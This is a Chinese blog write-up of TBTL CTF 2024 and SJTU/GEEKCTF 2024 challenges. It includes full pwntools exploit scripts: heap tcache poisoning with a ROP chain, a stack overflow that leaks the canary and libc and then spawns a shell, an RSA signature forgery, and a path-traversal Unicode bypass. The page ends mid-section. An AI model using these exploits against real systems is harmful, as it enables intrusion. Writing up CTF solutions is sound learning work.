p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.recvuntil(b'content:')
p.send(content)

def free_heap(index):
menu()
p.sendline(b'2')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())

def edit_heap(index, size, content):
menu()
p.sendline(b'3')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())
p.recvuntil(b'size:')
p.sendline(str(size).encode())
p.recvuntil(b'content:')
p.send(content)

def show_heap(index):
menu()
p.sendline(b'4')
p.recvuntil(b'idx:')
p.sendline(str(index).encode())

def exit_program():
menu()
p.sendline(b'5')

def mangle(pos, ptr, page_offset=0):
return ((pos >> 12) + page_offset) ^ ptr

def demangle(ptr, page_offset=0):
pos = (ptr >> 12) + page_offset
m = pos ^ ptr
return m >> 24 ^ m

def leak_heap_libc():
global heap_leak, libc_leak
# idx 0
malloc_heap(0x40, b'A'*0x40)
edit_heap(0, 0x50, b'A'*0x50)
show_heap(0)
p.recvuntil(b'A'*0x50)
libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
edit_heap(0, 0xd0, b'B'*0xd0)
show_heap(0)
p.recvuntil(b'B'*0xd0)
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
payload = b'A'*0x40 + p64(0) + p64(0xa1) + p64(libc_leak) + p64(libc_leak)
payload = payload.ljust(0xd0, b'\x00')
edit_heap(0, 0xd0, payload)

### stage1: leak libc and heap
leak_heap_libc()
info(f'[LEAK] heap_leak: {hex(heap_leak)}')
info(f'[LEAK] libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
heap_base = heap_leak - heap_offset
info(f'[CALC] libc_base: {hex(libc.address)}')
info(f'[CALC] heap_base: {hex(heap_base)}')
environ_addr = libc.sym['__environ']
info(f'[CALC] environ_addr: {hex(environ_addr)}')

### stage2: leak stack
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2
malloc_heap(0x40, b'C'*0x40)
free_heap(2)
free_heap(1)
mangled_environ_addr = mangle(heap_base + tcache_50_offset, environ_addr - 0x40)
info(f'[CALC] mangled_environ_addr: {hex(mangled_environ_addr)}')
payload = 0x40 * b'A' + p64(0) + p64(0x51) + p64(mangled_environ_addr)
edit_heap(0, 0x58, payload)
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2(environ_addr - 0x40)
malloc_heap(0x40, b'C'*0x40)
show_heap(2)
p.recvuntil(b'C'*0x40)
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
info(f'[LEAK] stack_leak: {hex(stack_leak)}')

### stage3: overwrite stack with rop chain
# idx3
malloc_heap(0x100, b'D'*0x100)
# idx4
malloc_heap(0x100, b'E'*0x100)
# idx5
malloc_heap(0x100, b'F'*0x100)
free_heap(5)
free_heap(4)
target_stack = stack_leak - stack_offset
info(f'[CALC] target_stack: {hex(target_stack)}')
mangled_stack = mangle(heap_base + tcache_110_offset, target_stack-0x8)
info(f'[CALC] mangled_stack: {hex(mangled_stack)}')
payload = 0x100 * b'A' + p64(1) + p64(0x91) + p64(mangled_stack)
edit_heap(3, 0x118, payload)
# idx4
# gdb.attach(p)
malloc_heap(0x100, b'flag\x00'.ljust(0x100, b'\x00'))
# idx5(target_stack-0x20)
payload = p64(stack_leak)
flag_addr = heap_base + heap_flag_offset
rop = ROP(libc)
# raw orw
syscall_gadget = rop.find_gadget(['syscall', 'ret']).address
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address
# pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address
pop_rdx_r12 = libc.address + 0x000000000011f2e7
# open('flag.txt', 0, 0)
payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_gadget)
# read(3, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(0) + p64(syscall_gadget)
# write(1, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(1) + p64(syscall_gadget)
payload += rop.chain()
payload = payload.ljust(0x100, b'\x00')
# gdb.attach(p, 'b *$rebase(0x16cd)')
malloc_heap(0x100, payload)
flag = p.recvuntil(b'}')
success(f'[FLAG] {flag.decode()}')

最后得到 flag :

1
flag{c9112d19-27e3-41ec-9957-fefb3f109229}
  • ✇BeaCox
  • TBTL CTF 2024 WriteUpBeaCox
    前言在 discord 上认识了一群来自世界各地的 ctfer,不过大家都不是什么老赛棍,just ctf for fun!有人在频道里提议参加TBTL CTF 2024,然后就组了个队。比赛时间2天,实际上没什么时间打,做了几个方向的新手友好题。不过队里有个哥们 web 方向 3/4,最后队伍排名36。Tower of Babel这是一道简单的社工题。mp3 文件里有这道题的提示:该标志的格式如常,我们的合作伙伴云海连锁控股有限公司总部位于海南岛海口附近。找到距离他们的办事处最近的银行。标志内的内容是该银行的统一社会信用代码。代码已以91开始,以56结束。首先搜这家公司,可以通过这个网站找到其地址,打开高德地图搜索“云海链8831栋”可以找到该公司位置,然后再搜周边——银行,可以看到最近的银行是海南澄迈农村商业银行股份有限公司科技支行。然后我们搜索其社会信用代码,得到91469027MA5TRBAW56。因此 flag 为 TBTL{91469027MA5TRBAW56}。Wikipedia Signatures这是一道非常简单的数字签名攻击题目。我们的目标是获取bytes_to_l
     

TBTL CTF 2024 WriteUp

作者 BeaCox
2024年5月13日 14:45

前言

在 discord 上认识了一群来自世界各地的 ctfer,不过大家都不是什么老赛棍,just ctf for fun!
有人在频道里提议参加TBTL CTF 2024,然后就组了个队。比赛时间2天,实际上没什么时间打,做了几个方向的新手友好题。不过队里有个哥们 web 方向 3/4,最后队伍排名36。

最终排名

Tower of Babel

这是一道简单的社工题。

mp3 文件里有这道题的提示:

该标志的格式如常,我们的合作伙伴云海连锁控股有限公司总部位于海南岛海口附近。找到距离他们的办事处最近的银行。标志内的内容是该银行的统一社会信用代码。代码已以91开始,以56结束。

首先搜这家公司,可以通过这个网站找到其地址,打开高德地图搜索“云海链8831栋”可以找到该公司位置,然后再搜周边——银行,可以看到最近的银行是海南澄迈农村商业银行股份有限公司科技支行。

然后我们搜索其社会信用代码,得到91469027MA5TRBAW56

因此 flag 为 TBTL{91469027MA5TRBAW56}

Wikipedia Signatures

这是一道非常简单的数字签名攻击题目。我们的目标是获取bytes_to_long(b'I challenge you to sign this message!')的数字签名。同时,我们可以提供任何消息给签名者进行数字签名,因此很容易想到这是 RSA 数字签名中的选择消息攻击

我们假设m = bytes_to_long(b'I challenge you to sign this message!') ,我们的目标是获取其数字签名:

$$ s = m^{d};mod;n$$

  • 首先,我们让签名者为任意选择的消息 m1 进行签名(这里我选用m1 = bytes_to_long(b'BeaCox')),获取对应的签名:

    $$s_1=m_{1}^{d};mod;n$$

  • 然后,我们计算

    $$m_2:=m⋅m_{1}^{−1};mod;n$$

    并让签名者为其签名,得到

    $$s_2=m_2^d;mod;n$$​

  • 由于

    $$s≡s1⋅s2≡m_1^d⋅m_2^d≡m_1^d⋅(m⋅m_1^{-1})^d≡m_1^d⋅m^d⋅m_1^{-d}≡m^d;(mod;n)$$

    我们很容易得到

    $$s=s1⋅s2;mod;n$$

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# https://crypto.stackexchange.com/questions/35644/chosen-message-attack-rsa-signature
from pwn import *
from Crypto.Util.number import inverse, bytes_to_long

p = remote('0.cloud.chals.io', 31148)

def find_m2(m, n, m1):
m1_inv = inverse(m1, n)
m2 = (m * m1_inv) % n
return m2

def get_n():
p.recvuntil(b"RSA public key: (")
n = p.recvuntil(b",", drop=True)
p.recvuntil(b'Sign any other message using wikipedia-RSA')
return int(n)

def menu():
p.recvuntil(b'> ')

def sign(message):
menu()
p.sendline(f'2 {message}'.encode())
return int(p.recvline().strip())

def win(signature):
menu()
p.sendline(f'1 {signature}'.encode())

m = bytes_to_long(b'I challenge you to sign this message!')
n = get_n()
m1 = bytes_to_long(b'BeaCox')
m2 = find_m2(m, n, m1)

s1 = sign(m1)
s2 = sign(m2)
signature = (s1 * s2) % n
win(signature)
p.interactive()
# TBTL{r3p347_4f73r_m3-d16174l_516n47ur3_15_n07_3ncryp710n}

Floo Powder

这是一道简单的逆向题。从 ida 获取静态的数组,然后根据反编译的代码写 z3 的约束,编写 python 脚本来得到正确的输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# input is 31*31 bit(0 or 1) string
from pwn import *
from z3 import *

data = [
0x04CA4952, 0x69745A2A, 0x434A2A90, 0x36D0A9C7, 0x1002DAC8,
0x04933AEB, 0x71A29525, 0x6DA8D531, 0x69259680, 0x2179213C,
0x5D8A6097, 0x6ACA2822, 0x5495ED02, 0x255A2CD5, 0x16B5625A,
0x2E8A8ABA, 0x2D6F5EB4, 0x557CD952, 0x2CB4E495, 0x020D29B9,
0x0E8B2854, 0x4646C159, 0x47749281, 0x54229D46, 0x6C1CD620,
0x07F80EFF, 0x04AD46A4, 0x32EBC04E, 0x4FAC1623, 0x600E1F04,
0x24CD3000
]

# z3 init the input
input = [BitVec(f"input{i}", 1) for i in range(31*31)]
s = Solver()

def important_func(o_i, i_i, count):
# print(f"index1: {index1}, index2: {index2}")
# ( (input[31 * o_i + i_i] == 49) == (((data[count / 31] >> (31 - count % 31 - 1)) & 1) != 0) )
s.add((input[31 * o_i + i_i] == 1) == (((data[count // 31] >> (31 - count % 31 - 1)) & 1) != 0))

outside_index = 0
inside_index = 0
count = 0
v9 = 1

while (outside_index < 31 and inside_index < 31):
important_func(outside_index, inside_index, count)
count += 1
if v9 == 1:
v10 = outside_index - 1
v11 = inside_index + 1
else:
v10 = outside_index + 1
v11 = inside_index - 1

if v10 < 0 or v10 == 31 or v11 < 0 or v11 == 31:
if v9 == 1:
outside_index += inside_index == 30
inside_index += inside_index < 30
else:
inside_index += outside_index == 30
outside_index += outside_index < 30
v9 = 1 - v9
else:
outside_index = v10
inside_index = v11

flag = ""
if s.check() == sat:
m = s.model()
for i in range(31*31):
flag += str(m[input[i]])
print(flag)

我们会得到一个 31*31 的由0和1组成的矩阵:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0000000000000000000000000000000
0111111100100011010010011111110
0100000101101100111100010000010
0101110100111001100001010111010
0101110101101010111100010111010
0101110100010110000001010111010
0100000101010011100001010000010
0111111101010101010101011111110
0000000000000100110111000000000
0111110111110110001011101010100
0001001010100010010001111111100
0101000110101111111101001100000
0100110011111000100100100110100
0001010101101010101111001011000
0000011001110110011001000101000
0111000100100011101001010111000
0111110001010100010000011110110
0100101111000111000000000110100
0101101000100011011011101110100
0100011100011101101001111011000
0101100011011001100001101010100
0100100100111000110001111101000
0000000001010110000111000101000
0111111101100011110011010100000
0100000100000110010101000100000
0101110101000101101101111111110
0101110101000000010011101110110
0101110101111100100111011100100
0100000101101001110010101000100
0111111101111000111110011111000
0000000000000000000000000000000

可以看到这个矩阵的周围一圈都是0,如果把周围这一圈0都去掉,那么就是一个29*29的矩阵。把0看成白色,1看成黑色,那么这个矩阵看起来就是一个29*29的第三代二维码,写脚本将01矩阵转换为二维码图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# convert to qrcode
from PIL import Image
MAX = 31
pic = Image.new("RGB",(MAX, MAX))
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(flag[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
# TBTL{Wh47_D1d_H3_5aY_D34r?_D14g0nal1y...}

扫描二维码就可以获得 flag 。

Enough with the averages

这是一道利用了scanf函数特性的pwn题。

这道题允许我们输入20个4字节长的整数,然后输出这20个整数的平均值。但是存储这些整数的内存区域含有先前读取的flag。

这个程序使用20个 __isoc99_scanf("%d", &v3[i]); 来读取我们的输入。如果我们输入了一个字符,那么从此以后的scanf都会直接返回-1,导致对应内存区域的4字节为原来的值,最终导致内存泄漏。

我的想法是:首先输入19个0,然后输入一个a,就可以得到目标内存区域的第20个4字节(data[19]);然后启动另一个程序,输入18个0,然后输入一个a,就可以得到data[18]+data[19],计算可得data[18],依次类推可以得到目标区域的所有20*4个字节。然后就可以重构出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.binary = binary = ELF('./chall')
context.log_level = 'critical'

# we need record 20 int numbers
numbers = [0] * 20
sum = 0

def input(number):
p.sendlineafter(b':', number)

def recv_average():
p.recvuntil(b'Average score is ')
byte_string = p.recvline().strip()[:-1]
return float(byte_string)

for i in range(16):
# p = binary.process()
p = remote('0.cloud.chals.io', 10198)

zeros = 19 - i
print(f'zeros: {zeros}')
# input zeros times of 0
for _ in range(zeros):
input(b'0')
input(b'a')
average_score = recv_average()
print(f'average_score: {average_score}')
tmp = sum
sum = average_score * 20
numbers[zeros] = int(sum - tmp)
if numbers[zeros] < 0:
numbers[zeros] = 0x100000000 + numbers[zeros]
print(f'numbers[{zeros}]: {hex(numbers[zeros])}')
p.close()

flag = b''

for i in range(4, 20):
char1 = numbers[i] & 0xff
char2 = (numbers[i] >> 8) & 0xff
char3 = (numbers[i] >> 16) & 0xff
char4 = (numbers[i] >> 24) & 0xff
flag += bytes([char1, char2, char3, char4])

print(flag)
# TBTL{e4t_Y0ur_vegG13s_1n1714l1z3_y0ur_d4rn_v4r14bl35}

总结

Fun!!! 感谢主办方,难度梯度做得很好。

  • ✇BeaCox
  • SJTU CTF 2024 暨 GEEKCTF 2024 WriteUpBeaCox
    前言记录一下打CTF以来做出题目最多的一次。这次的题目是 SJTU CTF 2024 校内赛和第一届 GEEKCTF 共用的。所有题目都可以在GEEKCTF官网找到,由于我是在校内平台做的,flag可能会略有不同,但是解题的方法应该是一样的。WEBSecrets本题的漏洞点是任意文件读取+特殊字符绕过upper/lower。攻击流程如下:选一个主题后,在登录页面抓包,发现有一个redirectCustomAsset路由123Accept-Encoding: gzip, deflateAccept-Language: en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7Cookie: asset=assets/css/pico.cyan.min.css看上去是用来读取不同主题的css文件,但是是相对于网站根目录的相对路径。因此猜测可以读取网站目录下的所有文件。在登陆页面查看网页源代码,发现body后面有一串看不懂的编码,放到cyberchef里一个个试发现是Base85:解码结果其中比较重要的是app.py和populate.py。将Cookie改成asset=app.
     

SJTU CTF 2024 暨 GEEKCTF 2024 WriteUp

作者 BeaCox
2024年4月26日 14:30

前言

记录一下打CTF以来做出题目最多的一次。这次的题目是 SJTU CTF 2024 校内赛和第一届 GEEKCTF 共用的。所有题目都可以在GEEKCTF官网找到,由于我是在校内平台做的,flag可能会略有不同,但是解题的方法应该是一样的。

WEB

Secrets

本题的漏洞点是任意文件读取+特殊字符绕过upper/lower。

攻击流程如下:

选一个主题后,在登录页面抓包,发现有一个redirectCustomAsset路由

1
2
3
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: asset=assets/css/pico.cyan.min.css

看上去是用来读取不同主题的css文件,但是是相对于网站根目录的相对路径。因此猜测可以读取网站目录下的所有文件。

在登陆页面查看网页源代码,发现body后面有一串看不懂的编码,放到cyberchef里一个个试发现是Base85:

解码结果

其中比较重要的是app.py和populate.py。

Cookie改成asset=app.py会回显hacker,改成asset=assets/css/../../app.py即可得到网站的源代码。

app.py里面硬编码了用户名和密码:

1
2
3
4
5
6
7
def isEqual(a, b):
return a.lower() != b.lower() and a.upper() == b.upper()
……
if isEqual(username, "alice") and isEqual(password, "start2024"):
session["logged_in"] = True
session["role"] = "user"
return redirect("/")

但是isEqual要求用户名和密码都需要满足小写化后不等于硬编码的用户名/密码,大写化后又要等于。第一眼看懵了,小写不相等但是大写相等?问下claude:

claude结果

进一步搜索发现upper对unicode特殊字符的处理有些问题,用unicode包裹起来才会得到正确的大写。不过claude给的字符似乎不对,直接用Python遍历unicode字符好了:

1
2
3
4
5
6
7
8
9
10
11
12
def find_replacement_char(ch):
# 遍历 Unicode 字符范围 0x0000 到 0x10FFFF
for i in range(0x110000):
try:
char = chr(i)
if char.upper() == ch.upper() and char!=ch and char!=ch.upper():
print(char)
except ValueError:
# 某些 Unicode 码点无法转换为有效字符,跳过
pass

find_replacement_char('i')

只找到了i的替代字符ıs的替代字符ſ。输入用户名alıce,密码ſtart2024,登录成功!

再看看populate.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os

from app import Notes, app, db

with app.app_context():
db.create_all()
if not Notes.query.filter_by(type="notes").first():
db.session.add(Notes(title="Hello, world!", message="This is an example note."))
db.session.add(
Notes(
title="Where's flag?",
message="Flag is waiting for you inside secrets.",
)
)
if not Notes.query.filter_by(type="secrets").first():
db.session.add(
Notes(
title="Secret flag",
message=os.environ.get("FLAG", "fake{flag}"),
type="secrets",
)
)
db.session.commit()

也就是说“type=secrets”会给我们flag,但是在app.py里还有过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
type = request.args.get("type", "notes").strip()
if ("secrets" in type.lower() or "SECRETS" in type.upper()) and session.get(
"role"
) != "admin":
return render_template(
"index.html",
notes=[],
error="You are not admin. Only admin can view secre<u>ts</u>.",
)
q = db.session.query(Notes)
q = q.filter(Notes.type == type)
notes = q.all()
return render_template("index.html", notes=notes)

我们需要让and前面的逻辑表达式为否才能够不返回错误、获得flag。

因此要想查看flag,type的参数需要是secrets的变体,页面上给secrets的ts划了下划线,猜测是提示将这两个字符换成特殊字符。

打开Burp的intruder,payload选用simple list,从网上下载了一个特殊字符的列表来爆破ts

最后ts替换成ƾ时,response的length不一样,点进去看详情就能看到flag。

intruder

flag:

1
0ops{sTR1Ngs_WitH_tHE_s@mE_we1ghT_aRe_3QUAl_iN_my5q1}

PWN

Memo0

本题的漏洞点是整数溢出和栈溢出。但是用不到,只需要逆向出密码。

攻击流程如下:

首先要输入密码登录,密码通过一个加密算法后与J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd==对比,长得很像base64,但是用base64解码出来不对。把sub_12E9的加密函数丢给claude,直接逆出了密码。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def decode(encoded_data):
# 计算解码后的数据长度
length = len(encoded_data)
decoded_length = (length * 3) // 4
if encoded_data[-1] == '=':
decoded_length -= 1
if encoded_data[-2] == '=':
decoded_length -= 1

# 创建解码后的数据缓冲区
decoded = bytearray(decoded_length)

# 标准 Base64 字符映射表
base64_chars = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"

# 遍历编码数据并解码
for i in range(0, length, 4):
value = 0
for j in range(4):
if i + j < length:
char = encoded_data[i + j]
if char == '=':
value <<= 6 * (3 - j)
else:
value |= base64_chars.index(char) << 6 * (3 - j)

# 将 24 位值拆分成 3 个字节并写入解码后的数据
decoded_pos = i // 4 * 3
decoded[decoded_pos] = (value >> 16) & 0xFF
if decoded_pos + 1 < decoded_length:
decoded[decoded_pos + 1] = (value >> 8) & 0xFF
if decoded_pos + 2 < decoded_length:
decoded[decoded_pos + 2] = value & 0xFF

return decoded.decode('latin-1')

print(decode('J8ITC7oaC7ofwTEbACM9zD4mC7oayqY9C7o9Kd=='))
# CTF_is_interesting_isn0t_itÀ

但是好像有点问题,将À改成?就对了。

一开始没有在本地新建flag文件,ida里面还把win函数看漏了。。。导致还在继续用栈溢出去劫持control flow调用win,其实逆向出密码就可以得到flag。

完整exp:

1
2
3
4
5
nc 111.186.57.85 40310
===================Memo Login===================
Please enter your password: CTF_is_interesting_isn0t_it?
Login Success!
0ops{U_r_th3_ma5ter_0f_ba5e64}

flag:

1
0ops{U_r_th3_ma5ter_0f_ba5e64}

Memo1

本题的漏洞点是整数溢出和栈溢出。

攻击流程如下:

首先checksec:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'

保护全开。然后看main函数,发现供用户输入的字符串在栈上,大小是264字节,乍一看用户也只能输入0x100即256字节,很安全。但是在实现edit功能的函数里面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
lea     rax, aLld       ; "%lld"
mov rdi, rax
mov eax, 0
call ___isoc99_scanf
mov edx, [rbp+var_1C]
mov rax, [rbp+var_10]
cmp rdx, rax
jle short loc_1873
mov rax, [rbp+var_10]
mov edx, eax
mov rax, [rbp+var_18]
mov esi, edx
mov rdi, rax
call sub_170E

可以发现,允许用户输入的是有符号数,而比较的时候却是根据无符号数进行比较,然后在读取用户输入的时候又使用其低32位作为允许输入的长度,因此会出现类似0xffffffff00000109 < 0x8的情况,却允许用户输入0x109个字节。

为了能够输入我们想要的长度,需要将0xffffffff00000109这样的数转换成相应的负数:

1
2
def convert_to_signed(num):
return (-1)*(0xffffffff-num)-1

至此,我们总结一下能够利用的漏洞:

可以利用整数溢出在栈上写非常长的内容,因此可以利用栈溢出劫持程序控制流。

但是由于保护全开且没有win函数,因此我们需要先leak canary,然后leak libc,最后在栈上布局 ROP chain 来 get shell。

我们先在sub_170e函数(读取用户输入的函数)处下一个断点,观察栈的布局。

stack

发现canary距离用户输入的起始位置为0x108字节,因此我们需要覆盖用户输入的前0x109字节为非0字符,然后调用show就可以连带canary一起输出出来。而读取用户输入的sub_170e函数是一个带0截断的函数:当我们输入\n会被替换成\x00,如果长度参数正好等于我们输入的长度,就不会添0。因此我们需要让其长度参数恰好等于0x109,也就是在调用edit时,输入的长度为convert_to_signed(0x109)。然后输入0x109个A,再调用show,最后7位就是canary的高7位。

用户输入的起始位置加上0x118个字节是libc的地址,与基地址的偏移是0x29d90,使用和leak canary几乎一样的方法可以leak libc。

最后就是在栈上布局 rop chain 了。因为有libc,因此可以直接用libc的gadgets,使用pwntools构造一个execve(‘/bin/sh’,0,0)的Rop,在栈上canary的位置填入canary,返回地址处布局rop chain,即可得到shell。

1
2
3
4
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload = b'A' * 0x108 + p64(canary) + b'B' * 0x8 + rop.chain()
edit(convert_to_signed(len(payload)), payload)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

binary = context.binary = ELF('./memo1')
libc = binary.libc

# p = process(binary.path)
p = remote('111.186.57.85', 40311)

password = b'CTF_is_interesting_isn0t_it?'
p.recvuntil(b'Please enter your password: ')
p.sendline(password)
# then it is a overflow

def add(payload):
p.sendlineafter(b'Your choice:', b'1')
p.sendlineafter(b'What do you want to write in the memo:', payload)

def show():
p.sendlineafter(b'Your choice:', b'2')
p.recvuntil(b'Content:\n')
return p.recvline()[:-1]

def edit(length, payload):
p.sendlineafter(b'Your choice:', b'3')
p.sendlineafter(b'How many characters do you want to change:', str(length).encode())
p.send(payload)

def get_flag():
p.sendlineafter(b'Your choice:', b'114514')
p.interactive()

# beause there is a jle instruction, so we can use negative number to bypass it
def convert_to_signed(num):
return (-1)*(0xffffffff-num)-1

main_offset = 0x1938
libc_offset = 0x29d90

### first leak canary
add(b'A' * 0x8)
edit(convert_to_signed(0x109), b'A'*0x109)
response = show()
canary = response[0x109:0x109+7].rjust(8, b'\x00')
canary = u64(canary)
info(f'[LEAK]: canary: {hex(canary)}')

### leak libc address
payload = b'A' * 0x118
edit(convert_to_signed(len(payload)), payload)
response = show()
libc_leak = response[0x118:0x118+6].ljust(8, b'\x00')
libc_leak = u64(libc_leak)
info(f'[LEAK]: libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'[LEAK & CALC]: libc_base: {hex(libc.address)}')

### leak pie address
# payload = b'A' * 0x128
# edit(convert_to_signed(len(payload)), payload)
# response = show()
# main_addr = response[0x128:0x128+6].ljust(8, b'\x00')
# main_addr = u64(main_addr)
# elf.address = main_addr - main_offset
# info(f'[LEAK & CALC]: pie_base: {hex(elf.address)}')

# gdb.attach(p, '''
# ''')

### no win_func now, wo we use rop
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)
payload = b'A' * 0x108 + p64(canary) + b'B' * 0x8 + rop.chain()
edit(convert_to_signed(len(payload)), payload)

get_flag()

flag:

1
0ops{5t4ck_0v3rfl0w_1s_d4ng3r0u5_233}

Shellcode

本题的考察点正如题名是shellcode,但是seccomp只允许了open和read,没有write,因此需要利用循环来实现类似侧信道攻击。另外,对shellcode的字节做了限制:

  1. 偶数索引处的字节必须是偶数,奇数索引处的字节必须是奇数

    1
    2
    3
    4
    5
    for ( i = 0; i < v5; ++i )
    {
    if ( (char)(*((char *)buf + i) % 2) != i % 2 )
    return 0xFFFFFFFFLL;
    }
  2. 大于0x80的奇数不能用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mov     rax, [rbp+buf]
    add rax, rdx
    movzx eax, byte ptr [rax]
    mov edx, eax
    sar dl, 7
    shr dl, 7
    add eax, edx
    and eax, 1
    sub eax, edx
    movsx ecx, al

    这段实际上是将shellcode的字节作为一字节的有符号数来对2取模,因此类似于0x81这样的大于0x80的奇数模2后的结果是-1而不是1,但是对索引的取模是看作无符号数,因此奇数索引处取模是1而不等于-1。这也就代表着大于0x80的奇数不能出现在shellcode中,这点非常坑。。。比前一点限制花了我更多时间。因为这个限制相当于把一般的jmp长跳转、call、ret、syscall全都禁止掉了。

    思路:

    由于我们还要进行侧信道攻击,不可能每爆破一个字节都构造一个能满足要求的shellcode,因此考虑分两个阶段:

    • 阶段1:调用read函数,rdi设置一阶段shellcode的起始位置,并将返回地址设置为这个起始地址
    • 阶段2:输入二阶段进行侧信道攻击的shellcode,read将返回到我们输入的这个shellcode

    每个二阶段shellcode爆破一个字节:将[flag_addr+i]与每个可见字符作比较,相等时进入死循环,通过对时间的测量就能知道flag的每个字节是哪个字符值。

    开凑:

    先凑一阶段的shellcode。由于限制非常多,因此考虑尽量利用栈上已有的内容和寄存器中已有的内容(pop和push某个寄存器都是一字节的指令,不同寄存器奇偶性质不同,很容易满足限制的要求)。

    stack

    stack

    rsp的最顶端是返回地址即main+0xc4,我们将这个地址pop到rax,然后对rax进行xor操作,可以得到read@plt,方便后续调用read库函数。有了这个思路,我们就需要布置好read的参数。rdi现在恰好是0,符合我们的要求,不去修改。rsi也是输入的起始地址不需要修改。rdx需要修改为我们想要输入的长度,经过观察rsp+0x8处的低8位正好是我们一阶段输入的长度,因此我们只需要将rsp+0x8的低8位值放到rdx中去即可:

    1
    2
    3
    4
    5
    6
    7
    8
    pop rax
    pop rbx
    nop
    xor edx, ebx
    pop rbx
    xor ax, 0x03e6
    xor ax, 0x100
    sub al, 1

    这样就已经将read@plt放到了rax里面,并布置好了rdi, rsi 和 rdx。接下来的问题就是如何调用rax中存储的函数。已知jmp的长跳转、call、ret、syscall都不符合这道题的过滤要求。怎么办?想起之前用ROPgadget的时候看到ret{num}这种形式的指令,去搜了一下,发现是ret之后,令rsp增加num字节。字节码是:b'\xc2\x01\x00'正好满足要求。但是又出现一个新的问题:

    栈指针增长奇数个字节后,我们就无法控制返回地址了。

    因此想到,如果在ret {num}之前先让栈增长或者减少奇数字节,而且这个命令能够通过过滤,就能解决这个问题。搜索发现有一个enter指令:

    enter指令的完整格式是:

    1
    enter bytes, level

    其中:

    1. bytes是一个立即数,表示当前函数需要在栈上分配的空间大小(以字节为单位)。这个值通常就是函数内局部变量所需的大小。
    2. level是另一个立即数,表示嵌套函数调用的层数。通常这个值为 0。

    我这里用一个enter 0x1, 0x3,level是我随便指定的,在gdb里面看效果:

    before_enter

    after_enter
    栈指针减少了0x21字节,那么我们再用ret 9就可以让栈重新和8字节对齐,在那之前先把read@plt的地址push入栈,ret的时候才能返回到read,等后面栈指针增加和8字节对齐的时候可以返回到我们在enter之前push入栈的shellcode地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    nop
    push rbx
    push rax
    push rbx
    push rax
    push rbx
    enter 0x1, 0x3
    nop
    pop rbx
    push rax
    push rbx
    nop
    pop rbx
    ret 0x0009
    pop rbx

    至此第一阶段就构造完成了,第二阶段的shellcode就是open(‘flag’, 0)然后read第i个索引处的字节,与各个可见字符进行比较,如果相等就死循环,通过时间判断是否命中,逐字节爆破到}为止,完整exp如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
